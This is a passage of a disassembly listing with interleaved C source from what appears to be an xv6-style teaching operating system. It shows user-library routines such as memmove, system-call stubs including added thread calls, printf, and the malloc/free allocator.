1e1e: 7e 0a jle 1e2a <atoi+0x48>
1e20: 8b 45 08 mov 0x8(%ebp),%eax
1e23: 0f b6 00 movzbl (%eax),%eax
1e26: 3c 39 cmp $0x39,%al
1e28: 7e c7 jle 1df1 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
1e2a: 8b 45 fc mov -0x4(%ebp),%eax
}
1e2d: c9 leave
1e2e: c3 ret
00001e2f <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
1e2f: 55 push %ebp
1e30: 89 e5 mov %esp,%ebp
1e32: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
1e35: 8b 45 08 mov 0x8(%ebp),%eax
1e38: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
1e3b: 8b 45 0c mov 0xc(%ebp),%eax
1e3e: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
1e41: eb 17 jmp 1e5a <memmove+0x2b>
*dst++ = *src++;
1e43: 8b 45 fc mov -0x4(%ebp),%eax
1e46: 8d 50 01 lea 0x1(%eax),%edx
1e49: 89 55 fc mov %edx,-0x4(%ebp)
1e4c: 8b 55 f8 mov -0x8(%ebp),%edx
1e4f: 8d 4a 01 lea 0x1(%edx),%ecx
1e52: 89 4d f8 mov %ecx,-0x8(%ebp)
1e55: 0f b6 12 movzbl (%edx),%edx
1e58: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1e5a: 8b 45 10 mov 0x10(%ebp),%eax
1e5d: 8d 50 ff lea -0x1(%eax),%edx
1e60: 89 55 10 mov %edx,0x10(%ebp)
1e63: 85 c0 test %eax,%eax
1e65: 7f dc jg 1e43 <memmove+0x14>
*dst++ = *src++;
return vdst;
1e67: 8b 45 08 mov 0x8(%ebp),%eax
}
1e6a: c9 leave
1e6b: c3 ret
00001e6c <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1e6c: b8 01 00 00 00 mov $0x1,%eax
1e71: cd 40 int $0x40
1e73: c3 ret
00001e74 <exit>:
SYSCALL(exit)
1e74: b8 02 00 00 00 mov $0x2,%eax
1e79: cd 40 int $0x40
1e7b: c3 ret
00001e7c <wait>:
SYSCALL(wait)
1e7c: b8 03 00 00 00 mov $0x3,%eax
1e81: cd 40 int $0x40
1e83: c3 ret
00001e84 <pipe>:
SYSCALL(pipe)
1e84: b8 04 00 00 00 mov $0x4,%eax
1e89: cd 40 int $0x40
1e8b: c3 ret
00001e8c <read>:
SYSCALL(read)
1e8c: b8 05 00 00 00 mov $0x5,%eax
1e91: cd 40 int $0x40
1e93: c3 ret
00001e94 <write>:
SYSCALL(write)
1e94: b8 10 00 00 00 mov $0x10,%eax
1e99: cd 40 int $0x40
1e9b: c3 ret
00001e9c <close>:
SYSCALL(close)
1e9c: b8 15 00 00 00 mov $0x15,%eax
1ea1: cd 40 int $0x40
1ea3: c3 ret
00001ea4 <kill>:
SYSCALL(kill)
1ea4: b8 06 00 00 00 mov $0x6,%eax
1ea9: cd 40 int $0x40
1eab: c3 ret
00001eac <exec>:
SYSCALL(exec)
1eac: b8 07 00 00 00 mov $0x7,%eax
1eb1: cd 40 int $0x40
1eb3: c3 ret
00001eb4 <open>:
SYSCALL(open)
1eb4: b8 0f 00 00 00 mov $0xf,%eax
1eb9: cd 40 int $0x40
1ebb: c3 ret
00001ebc <mknod>:
SYSCALL(mknod)
1ebc: b8 11 00 00 00 mov $0x11,%eax
1ec1: cd 40 int $0x40
1ec3: c3 ret
00001ec4 <unlink>:
SYSCALL(unlink)
1ec4: b8 12 00 00 00 mov $0x12,%eax
1ec9: cd 40 int $0x40
1ecb: c3 ret
00001ecc <fstat>:
SYSCALL(fstat)
1ecc: b8 08 00 00 00 mov $0x8,%eax
1ed1: cd 40 int $0x40
1ed3: c3 ret
00001ed4 <link>:
SYSCALL(link)
1ed4: b8 13 00 00 00 mov $0x13,%eax
1ed9: cd 40 int $0x40
1edb: c3 ret
00001edc <mkdir>:
SYSCALL(mkdir)
1edc: b8 14 00 00 00 mov $0x14,%eax
1ee1: cd 40 int $0x40
1ee3: c3 ret
00001ee4 <chdir>:
SYSCALL(chdir)
1ee4: b8 09 00 00 00 mov $0x9,%eax
1ee9: cd 40 int $0x40
1eeb: c3 ret
00001eec <dup>:
SYSCALL(dup)
1eec: b8 0a 00 00 00 mov $0xa,%eax
1ef1: cd 40 int $0x40
1ef3: c3 ret
00001ef4 <getpid>:
SYSCALL(getpid)
1ef4: b8 0b 00 00 00 mov $0xb,%eax
1ef9: cd 40 int $0x40
1efb: c3 ret
00001efc <sbrk>:
SYSCALL(sbrk)
1efc: b8 0c 00 00 00 mov $0xc,%eax
1f01: cd 40 int $0x40
1f03: c3 ret
00001f04 <sleep>:
SYSCALL(sleep)
1f04: b8 0d 00 00 00 mov $0xd,%eax
1f09: cd 40 int $0x40
1f0b: c3 ret
00001f0c <uptime>:
SYSCALL(uptime)
1f0c: b8 0e 00 00 00 mov $0xe,%eax
1f11: cd 40 int $0x40
1f13: c3 ret
00001f14 <clone>:
SYSCALL(clone)
1f14: b8 16 00 00 00 mov $0x16,%eax
1f19: cd 40 int $0x40
1f1b: c3 ret
00001f1c <texit>:
SYSCALL(texit)
1f1c: b8 17 00 00 00 mov $0x17,%eax
1f21: cd 40 int $0x40
1f23: c3 ret
00001f24 <tsleep>:
SYSCALL(tsleep)
1f24: b8 18 00 00 00 mov $0x18,%eax
1f29: cd 40 int $0x40
1f2b: c3 ret
00001f2c <twakeup>:
SYSCALL(twakeup)
1f2c: b8 19 00 00 00 mov $0x19,%eax
1f31: cd 40 int $0x40
1f33: c3 ret
00001f34 <thread_yield>:
SYSCALL(thread_yield)
1f34: b8 1a 00 00 00 mov $0x1a,%eax
1f39: cd 40 int $0x40
1f3b: c3 ret
00001f3c <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1f3c: 55 push %ebp
1f3d: 89 e5 mov %esp,%ebp
1f3f: 83 ec 18 sub $0x18,%esp
1f42: 8b 45 0c mov 0xc(%ebp),%eax
1f45: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
1f48: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1f4f: 00
1f50: 8d 45 f4 lea -0xc(%ebp),%eax
1f53: 89 44 24 04 mov %eax,0x4(%esp)
1f57: 8b 45 08 mov 0x8(%ebp),%eax
1f5a: 89 04 24 mov %eax,(%esp)
1f5d: e8 32 ff ff ff call 1e94 <write>
}
1f62: c9 leave
1f63: c3 ret
00001f64 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1f64: 55 push %ebp
1f65: 89 e5 mov %esp,%ebp
1f67: 56 push %esi
1f68: 53 push %ebx
1f69: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1f6c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
1f73: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
1f77: 74 17 je 1f90 <printint+0x2c>
1f79: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1f7d: 79 11 jns 1f90 <printint+0x2c>
neg = 1;
1f7f: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
1f86: 8b 45 0c mov 0xc(%ebp),%eax
1f89: f7 d8 neg %eax
1f8b: 89 45 ec mov %eax,-0x14(%ebp)
1f8e: eb 06 jmp 1f96 <printint+0x32>
} else {
x = xx;
1f90: 8b 45 0c mov 0xc(%ebp),%eax
1f93: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
1f96: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
1f9d: 8b 4d f4 mov -0xc(%ebp),%ecx
1fa0: 8d 41 01 lea 0x1(%ecx),%eax
1fa3: 89 45 f4 mov %eax,-0xc(%ebp)
1fa6: 8b 5d 10 mov 0x10(%ebp),%ebx
1fa9: 8b 45 ec mov -0x14(%ebp),%eax
1fac: ba 00 00 00 00 mov $0x0,%edx
1fb1: f7 f3 div %ebx
1fb3: 89 d0 mov %edx,%eax
1fb5: 0f b6 80 70 2e 00 00 movzbl 0x2e70(%eax),%eax
1fbc: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
1fc0: 8b 75 10 mov 0x10(%ebp),%esi
1fc3: 8b 45 ec mov -0x14(%ebp),%eax
1fc6: ba 00 00 00 00 mov $0x0,%edx
1fcb: f7 f6 div %esi
1fcd: 89 45 ec mov %eax,-0x14(%ebp)
1fd0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1fd4: 75 c7 jne 1f9d <printint+0x39>
if(neg)
1fd6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1fda: 74 10 je 1fec <printint+0x88>
buf[i++] = '-';
1fdc: 8b 45 f4 mov -0xc(%ebp),%eax
1fdf: 8d 50 01 lea 0x1(%eax),%edx
1fe2: 89 55 f4 mov %edx,-0xc(%ebp)
1fe5: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
1fea: eb 1f jmp 200b <printint+0xa7>
1fec: eb 1d jmp 200b <printint+0xa7>
putc(fd, buf[i]);
1fee: 8d 55 dc lea -0x24(%ebp),%edx
1ff1: 8b 45 f4 mov -0xc(%ebp),%eax
1ff4: 01 d0 add %edx,%eax
1ff6: 0f b6 00 movzbl (%eax),%eax
1ff9: 0f be c0 movsbl %al,%eax
1ffc: 89 44 24 04 mov %eax,0x4(%esp)
2000: 8b 45 08 mov 0x8(%ebp),%eax
2003: 89 04 24 mov %eax,(%esp)
2006: e8 31 ff ff ff call 1f3c <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
200b: 83 6d f4 01 subl $0x1,-0xc(%ebp)
200f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2013: 79 d9 jns 1fee <printint+0x8a>
putc(fd, buf[i]);
}
2015: 83 c4 30 add $0x30,%esp
2018: 5b pop %ebx
2019: 5e pop %esi
201a: 5d pop %ebp
201b: c3 ret
0000201c <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
201c: 55 push %ebp
201d: 89 e5 mov %esp,%ebp
201f: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
2022: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
2029: 8d 45 0c lea 0xc(%ebp),%eax
202c: 83 c0 04 add $0x4,%eax
202f: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
2032: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
2039: e9 7c 01 00 00 jmp 21ba <printf+0x19e>
c = fmt[i] & 0xff;
203e: 8b 55 0c mov 0xc(%ebp),%edx
2041: 8b 45 f0 mov -0x10(%ebp),%eax
2044: 01 d0 add %edx,%eax
2046: 0f b6 00 movzbl (%eax),%eax
2049: 0f be c0 movsbl %al,%eax
204c: 25 ff 00 00 00 and $0xff,%eax
2051: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
2054: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2058: 75 2c jne 2086 <printf+0x6a>
if(c == '%'){
205a: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
205e: 75 0c jne 206c <printf+0x50>
state = '%';
2060: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
2067: e9 4a 01 00 00 jmp 21b6 <printf+0x19a>
} else {
putc(fd, c);
206c: 8b 45 e4 mov -0x1c(%ebp),%eax
206f: 0f be c0 movsbl %al,%eax
2072: 89 44 24 04 mov %eax,0x4(%esp)
2076: 8b 45 08 mov 0x8(%ebp),%eax
2079: 89 04 24 mov %eax,(%esp)
207c: e8 bb fe ff ff call 1f3c <putc>
2081: e9 30 01 00 00 jmp 21b6 <printf+0x19a>
}
} else if(state == '%'){
2086: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
208a: 0f 85 26 01 00 00 jne 21b6 <printf+0x19a>
if(c == 'd'){
2090: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
2094: 75 2d jne 20c3 <printf+0xa7>
printint(fd, *ap, 10, 1);
2096: 8b 45 e8 mov -0x18(%ebp),%eax
2099: 8b 00 mov (%eax),%eax
209b: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
20a2: 00
20a3: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
20aa: 00
20ab: 89 44 24 04 mov %eax,0x4(%esp)
20af: 8b 45 08 mov 0x8(%ebp),%eax
20b2: 89 04 24 mov %eax,(%esp)
20b5: e8 aa fe ff ff call 1f64 <printint>
ap++;
20ba: 83 45 e8 04 addl $0x4,-0x18(%ebp)
20be: e9 ec 00 00 00 jmp 21af <printf+0x193>
} else if(c == 'x' || c == 'p'){
20c3: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
20c7: 74 06 je 20cf <printf+0xb3>
20c9: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
20cd: 75 2d jne 20fc <printf+0xe0>
printint(fd, *ap, 16, 0);
20cf: 8b 45 e8 mov -0x18(%ebp),%eax
20d2: 8b 00 mov (%eax),%eax
20d4: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
20db: 00
20dc: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
20e3: 00
20e4: 89 44 24 04 mov %eax,0x4(%esp)
20e8: 8b 45 08 mov 0x8(%ebp),%eax
20eb: 89 04 24 mov %eax,(%esp)
20ee: e8 71 fe ff ff call 1f64 <printint>
ap++;
20f3: 83 45 e8 04 addl $0x4,-0x18(%ebp)
20f7: e9 b3 00 00 00 jmp 21af <printf+0x193>
} else if(c == 's'){
20fc: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
2100: 75 45 jne 2147 <printf+0x12b>
s = (char*)*ap;
2102: 8b 45 e8 mov -0x18(%ebp),%eax
2105: 8b 00 mov (%eax),%eax
2107: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
210a: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
210e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2112: 75 09 jne 211d <printf+0x101>
s = "(null)";
2114: c7 45 f4 7b 29 00 00 movl $0x297b,-0xc(%ebp)
while(*s != 0){
211b: eb 1e jmp 213b <printf+0x11f>
211d: eb 1c jmp 213b <printf+0x11f>
putc(fd, *s);
211f: 8b 45 f4 mov -0xc(%ebp),%eax
2122: 0f b6 00 movzbl (%eax),%eax
2125: 0f be c0 movsbl %al,%eax
2128: 89 44 24 04 mov %eax,0x4(%esp)
212c: 8b 45 08 mov 0x8(%ebp),%eax
212f: 89 04 24 mov %eax,(%esp)
2132: e8 05 fe ff ff call 1f3c <putc>
s++;
2137: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
213b: 8b 45 f4 mov -0xc(%ebp),%eax
213e: 0f b6 00 movzbl (%eax),%eax
2141: 84 c0 test %al,%al
2143: 75 da jne 211f <printf+0x103>
2145: eb 68 jmp 21af <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
2147: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
214b: 75 1d jne 216a <printf+0x14e>
putc(fd, *ap);
214d: 8b 45 e8 mov -0x18(%ebp),%eax
2150: 8b 00 mov (%eax),%eax
2152: 0f be c0 movsbl %al,%eax
2155: 89 44 24 04 mov %eax,0x4(%esp)
2159: 8b 45 08 mov 0x8(%ebp),%eax
215c: 89 04 24 mov %eax,(%esp)
215f: e8 d8 fd ff ff call 1f3c <putc>
ap++;
2164: 83 45 e8 04 addl $0x4,-0x18(%ebp)
2168: eb 45 jmp 21af <printf+0x193>
} else if(c == '%'){
216a: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
216e: 75 17 jne 2187 <printf+0x16b>
putc(fd, c);
2170: 8b 45 e4 mov -0x1c(%ebp),%eax
2173: 0f be c0 movsbl %al,%eax
2176: 89 44 24 04 mov %eax,0x4(%esp)
217a: 8b 45 08 mov 0x8(%ebp),%eax
217d: 89 04 24 mov %eax,(%esp)
2180: e8 b7 fd ff ff call 1f3c <putc>
2185: eb 28 jmp 21af <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
2187: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
218e: 00
218f: 8b 45 08 mov 0x8(%ebp),%eax
2192: 89 04 24 mov %eax,(%esp)
2195: e8 a2 fd ff ff call 1f3c <putc>
putc(fd, c);
219a: 8b 45 e4 mov -0x1c(%ebp),%eax
219d: 0f be c0 movsbl %al,%eax
21a0: 89 44 24 04 mov %eax,0x4(%esp)
21a4: 8b 45 08 mov 0x8(%ebp),%eax
21a7: 89 04 24 mov %eax,(%esp)
21aa: e8 8d fd ff ff call 1f3c <putc>
}
state = 0;
21af: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
21b6: 83 45 f0 01 addl $0x1,-0x10(%ebp)
21ba: 8b 55 0c mov 0xc(%ebp),%edx
21bd: 8b 45 f0 mov -0x10(%ebp),%eax
21c0: 01 d0 add %edx,%eax
21c2: 0f b6 00 movzbl (%eax),%eax
21c5: 84 c0 test %al,%al
21c7: 0f 85 71 fe ff ff jne 203e <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
21cd: c9 leave
21ce: c3 ret
21cf: 90 nop
000021d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
21d0: 55 push %ebp
21d1: 89 e5 mov %esp,%ebp
21d3: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
21d6: 8b 45 08 mov 0x8(%ebp),%eax
21d9: 83 e8 08 sub $0x8,%eax
21dc: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
21df: a1 a0 2e 00 00 mov 0x2ea0,%eax
21e4: 89 45 fc mov %eax,-0x4(%ebp)
21e7: eb 24 jmp 220d <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
21e9: 8b 45 fc mov -0x4(%ebp),%eax
21ec: 8b 00 mov (%eax),%eax
21ee: 3b 45 fc cmp -0x4(%ebp),%eax
21f1: 77 12 ja 2205 <free+0x35>
21f3: 8b 45 f8 mov -0x8(%ebp),%eax
21f6: 3b 45 fc cmp -0x4(%ebp),%eax
21f9: 77 24 ja 221f <free+0x4f>
21fb: 8b 45 fc mov -0x4(%ebp),%eax
21fe: 8b 00 mov (%eax),%eax
2200: 3b 45 f8 cmp -0x8(%ebp),%eax
2203: 77 1a ja 221f <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
2205: 8b 45 fc mov -0x4(%ebp),%eax
2208: 8b 00 mov (%eax),%eax
220a: 89 45 fc mov %eax,-0x4(%ebp)
220d: 8b 45 f8 mov -0x8(%ebp),%eax
2210: 3b 45 fc cmp -0x4(%ebp),%eax
2213: 76 d4 jbe 21e9 <free+0x19>
2215: 8b 45 fc mov -0x4(%ebp),%eax
2218: 8b 00 mov (%eax),%eax
221a: 3b 45 f8 cmp -0x8(%ebp),%eax
221d: 76 ca jbe 21e9 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
221f: 8b 45 f8 mov -0x8(%ebp),%eax
2222: 8b 40 04 mov 0x4(%eax),%eax
2225: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
222c: 8b 45 f8 mov -0x8(%ebp),%eax
222f: 01 c2 add %eax,%edx
2231: 8b 45 fc mov -0x4(%ebp),%eax
2234: 8b 00 mov (%eax),%eax
2236: 39 c2 cmp %eax,%edx
2238: 75 24 jne 225e <free+0x8e>
bp->s.size += p->s.ptr->s.size;
223a: 8b 45 f8 mov -0x8(%ebp),%eax
223d: 8b 50 04 mov 0x4(%eax),%edx
2240: 8b 45 fc mov -0x4(%ebp),%eax
2243: 8b 00 mov (%eax),%eax
2245: 8b 40 04 mov 0x4(%eax),%eax
2248: 01 c2 add %eax,%edx
224a: 8b 45 f8 mov -0x8(%ebp),%eax
224d: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
2250: 8b 45 fc mov -0x4(%ebp),%eax
2253: 8b 00 mov (%eax),%eax
2255: 8b 10 mov (%eax),%edx
2257: 8b 45 f8 mov -0x8(%ebp),%eax
225a: 89 10 mov %edx,(%eax)
225c: eb 0a jmp 2268 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
225e: 8b 45 fc mov -0x4(%ebp),%eax
2261: 8b 10 mov (%eax),%edx
2263: 8b 45 f8 mov -0x8(%ebp),%eax
2266: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
2268: 8b 45 fc mov -0x4(%ebp),%eax
226b: 8b 40 04 mov 0x4(%eax),%eax
226e: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
2275: 8b 45 fc mov -0x4(%ebp),%eax
2278: 01 d0 add %edx,%eax
227a: 3b 45 f8 cmp -0x8(%ebp),%eax
227d: 75 20 jne 229f <free+0xcf>
p->s.size += bp->s.size;
227f: 8b 45 fc mov -0x4(%ebp),%eax
2282: 8b 50 04 mov 0x4(%eax),%edx
2285: 8b 45 f8 mov -0x8(%ebp),%eax
2288: 8b 40 04 mov 0x4(%eax),%eax
228b: 01 c2 add %eax,%edx
228d: 8b 45 fc mov -0x4(%ebp),%eax
2290: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
2293: 8b 45 f8 mov -0x8(%ebp),%eax
2296: 8b 10 mov (%eax),%edx
2298: 8b 45 fc mov -0x4(%ebp),%eax
229b: 89 10 mov %edx,(%eax)
229d: eb 08 jmp 22a7 <free+0xd7>
} else
p->s.ptr = bp;
229f: 8b 45 fc mov -0x4(%ebp),%eax
22a2: 8b 55 f8 mov -0x8(%ebp),%edx
22a5: 89 10 mov %edx,(%eax)
freep = p;
22a7: 8b 45 fc mov -0x4(%ebp),%eax
22aa: a3 a0 2e 00 00 mov %eax,0x2ea0
}
22af: c9 leave
22b0: c3 ret
000022b1 <morecore>:
static Header*
morecore(uint nu)
{
22b1: 55 push %ebp
22b2: 89 e5 mov %esp,%ebp
22b4: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
22b7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
22be: 77 07 ja 22c7 <morecore+0x16>
nu = 4096;
22c0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
22c7: 8b 45 08 mov 0x8(%ebp),%eax
22ca: c1 e0 03 shl $0x3,%eax
22cd: 89 04 24 mov %eax,(%esp)
22d0: e8 27 fc ff ff call 1efc <sbrk>
22d5: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
22d8: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
22dc: 75 07 jne 22e5 <morecore+0x34>
return 0;
22de: b8 00 00 00 00 mov $0x0,%eax
22e3: eb 22 jmp 2307 <morecore+0x56>
hp = (Header*)p;
22e5: 8b 45 f4 mov -0xc(%ebp),%eax
22e8: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
22eb: 8b 45 f0 mov -0x10(%ebp),%eax
22ee: 8b 55 08 mov 0x8(%ebp),%edx
22f1: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
22f4: 8b 45 f0 mov -0x10(%ebp),%eax
22f7: 83 c0 08 add $0x8,%eax
22fa: 89 04 24 mov %eax,(%esp)
22fd: e8 ce fe ff ff call 21d0 <free>
return freep;
2302: a1 a0 2e 00 00 mov 0x2ea0,%eax
}
2307: c9 leave
2308: c3 ret
00002309 <malloc>:
void*
malloc(uint nbytes)
{
2309: 55 push %ebp
230a: 89 e5 mov %esp,%ebp
230c: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
230f: 8b 45 08 mov 0x8(%ebp),%eax
2312: 83 c0 07 add $0x7,%eax
2315: c1 e8 03 shr $0x3,%eax
2318: 83 c0 01 add $0x1,%eax
231b: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
231e: a1 a0 2e 00 00 mov 0x2ea0,%eax
2323: 89 45 f0 mov %eax,-0x10(%ebp)
2326: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
232a: 75 23 jne 234f <malloc+0x46>
base.s.ptr = freep = prevp = &base;
232c: c7 45 f0 98 2e 00 00 movl $0x2e98,-0x10(%ebp)
2333: 8b 45 f0 mov -0x10(%ebp),%eax
2336: a3 a0 2e 00 00 mov %eax,0x2ea0
233b: a1 a0 2e 00 00 mov 0x2ea0,%eax
2340: a3 98 2e 00 00 mov %eax,0x2e98
base.s.size = 0;
2345: c7 05 9c 2e 00 00 00 movl $0x0,0x2e9c
234c: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
234f: 8b 45 f0 mov -0x10(%ebp),%eax
2352: 8b 00 mov (%eax),%eax
2354: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
2357: 8b 45 f4 mov -0xc(%ebp),%eax
235a: 8b 40 04 mov 0x4(%eax),%eax
235d: 3b 45 ec cmp -0x14(%ebp),%eax
2360: 72 4d jb 23af <malloc+0xa6>
if(p->s.size == nunits)
2362: 8b 45 f4 mov -0xc(%ebp),%eax
2365: 8b 40 04 mov 0x4(%eax),%eax
2368: 3b 45 ec cmp -0x14(%ebp),%eax
236b: 75 0c jne 2379 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
236d: 8b 45 f4 mov -0xc(%ebp),%eax
2370: 8b 10 mov (%eax),%edx
2372: 8b 45 f0 mov -0x10(%ebp),%eax
2375: 89 10 mov %edx,(%eax)
2377: eb 26 jmp 239f <malloc+0x96>
else {
p->s.size -= nunits;
2379: 8b 45 f4 mov -0xc(%ebp),%eax
237c: 8b 40 04 mov 0x4(%eax),%eax
237f: 2b 45 ec sub -0x14(%ebp),%eax
2382: 89 c2 mov %eax,%edx
2384: 8b 45 f4 mov -0xc(%ebp),%eax
2387: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
238a: 8b 45 f4 mov -0xc(%ebp),%eax
238d: 8b 40 04 mov 0x4(%eax),%eax
2390: c1 e0 03 shl $0x3,%eax
2393: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
2396: 8b 45 f4 mov -0xc(%ebp),%eax
2399: 8b 55 ec mov -0x14(%ebp),%edx
239c: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
239f: 8b 45 f0 mov -0x10(%ebp),%eax
23a2: a3 a0 2e 00 00 mov %eax,0x2ea0
return (void*)(p + 1);
23a7: 8b 45 f4 mov -0xc(%ebp),%eax
23aa: 83 c0 08 add $0x8,%eax
23ad: eb 38 jmp 23e7 <malloc+0xde>
}
if(p == freep)
23af: a1 a0 2e 00 00 mov 0x2ea0,%eax
23b4: 39 45 f4 cmp %eax,-0xc(%ebp)
23b7: 75 1b jne 23d4 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
23b9: 8b 45 ec mov -0x14(%ebp),%eax
23bc: 89 04 24 mov %eax,(%esp)
23bf: e8 ed fe ff ff call 22b1 <morecore>
23c4: 89 45 f4 mov %eax,-0xc(%ebp)
23c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
23cb: 75 07 jne 23d4 <malloc+0xcb>
return 0;
23cd: b8 00 00 00 00 mov $0x0,%eax
23d2: eb 13 jmp 23e7 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
23d4: 8b 45 f4 mov -0xc(%ebp),%eax
23d7: 89 45 f0 mov %eax,-0x10(%ebp)
23da: 8b 45 f4 mov -0xc(%ebp),%eax
23dd: 8b 00 mov (%eax),%eax
23df: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
23e2: e9 70 ff ff ff jmp 2357 <malloc+0x4e>
}
23e7: c9 leave
23e8: c3 ret
23e9: 66 90 xchg %ax,%ax
23eb: 90 nop
000023ec <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
23ec: 55 push %ebp
23ed: 89 e5 mov %esp,%ebp
23ef: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
23f2: 8b 55 08 mov 0x8(%ebp),%edx
23f5: 8b 45 0c mov 0xc(%ebp),%eax
23f8: 8b 4d 08 mov 0x8(%ebp),%ecx
23fb: f0 87 02 lock xchg %eax,(%edx)
23fe: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
